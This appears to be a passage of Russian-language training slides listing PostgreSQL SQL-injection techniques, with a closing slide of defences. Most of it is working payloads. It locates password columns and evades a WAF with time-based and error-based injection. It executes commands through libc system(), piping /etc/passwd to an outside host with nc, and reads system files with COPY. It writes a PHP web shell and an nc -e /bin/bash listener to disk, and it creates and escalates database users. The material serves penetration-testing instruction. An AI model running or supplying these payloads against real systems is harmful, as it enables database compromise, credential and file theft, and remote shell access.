(A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’)
134
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Комментарии

135. PostgreSQL

Поиск имени таблицы
по колонкам содержащимся
в ней
SELECT DISTINCT relname FROM
pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND
(N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND
(NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) AND attname LIKE ‘%password%’;
Вывод определенной строки
из запроса содержащего
больше 1 записи
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0;
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;
Вывод определенного
символа
SELECT substr(‘abcd’, 3, 1);
Перевод кода символа
в ASCII символ
SELECT chr(65);
Перевод ASCII символа в код
SELECT ascii(‘A’);
Приведения значений
к определенному типу
SELECT CAST(1 as varchar); SELECT CAST(’1′ as int);
Склеивание строк
SELECT ‘A’ || ‘B’;
Конструкция CASE
SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END;
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Вывод таблиц
SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON
n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’,
‘pg_toast’) AND pg_catalog.pg_table_is_visible(c. oid)
135

136. PostgreSQL

Обход waf
SELECT CHR(65)||CHR(66);
SELECT pg_sleep(10);
Способы задержки времени
Выполнение произвольного
кода
CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS ‘/lib/libc.so.6′, ‘sleep’ language
‘C’ STRICT; SELECT sleep(10);
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’
LANGUAGE ‘C’ STRICT;
SELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080′);
CREATE TABLE mydata(t text); COPY mydata FROM ‘/etc/passwd’;
…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1;
…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2;
DROP TABLE mytest mytest;
CREATE TABLE mytable (mycol text);
INSERT INTO mytable(mycol) VALUES (‘<? pasthru($_GET[cmd]); ?>’); COPY mytable (mycol)
TO ‘/tmp/test.php’;
select pg_read_file('PG_VERSION', 0, 200);
CREATE TABLE temp(t TEXT);
COPY temp FROM '/etc/passwd'; SELECT * FROM temp limit 1 offset 0;
136
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Получение доступа
к локальному файлу

137. PostgreSQL

Получения имени хоста
Добавление нового
пользователя
SELECT inet_server_addr();
SELECT inet_server_port();
CREATE USER test1 PASSWORD
‘pass1′;
CREATE USER test1 PASSWORD ‘pass1′ CREATEUSER;
Удаление пользователя
DROP USER test1;
Получение привилегий
админа пользователю
ALTER USER test1 CREATEUSER CREATEDB;
Получение директории
в которой ДБ
SELECT current_setting(‘hba_file’);
Template0
template1
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Базы по умолчанию
SELECT current_setting(‘data_directory’);
,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)
Error based
,cAsT(chr(126)||
(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||
chr(126)+as+nUmeRiC-,cAsT(chr(126)||(sEleCt+column_name+fRoM+ information_schema.columns+wHerE+table_
name=data_column+lI mIt+1+offset+data_offset)||chr(126)+as+nUmeRiC-137

138. PostgreSQL

Error based (продолжение)
,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset +data_offset)||
chr(126)+as+nUmeRi C)
AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
Time based
AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]0000 00))
Запись в файл
CREATE TABLE pentestlab (t TEXT); INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e
/bin/bash’);
SELECT * FROM pentestlab; COPY pentestlab(t) TO '/tmp/pentestlab';
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
138

139. Защита от SQL-Injection

- Защита на уровне СУБД
- Принцип наименьших привилегий
- Параметризованные запросы
- Хранимые процедуры
- Валидация входных данных
- Экранирование
- Обработка ошибок
- WAF
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
- Логирование и алертинг
- SAST/DAST
- Аудит/пентест
- BugBounty
- Code review
Что еще можете добавить?
139
English     Русский Правила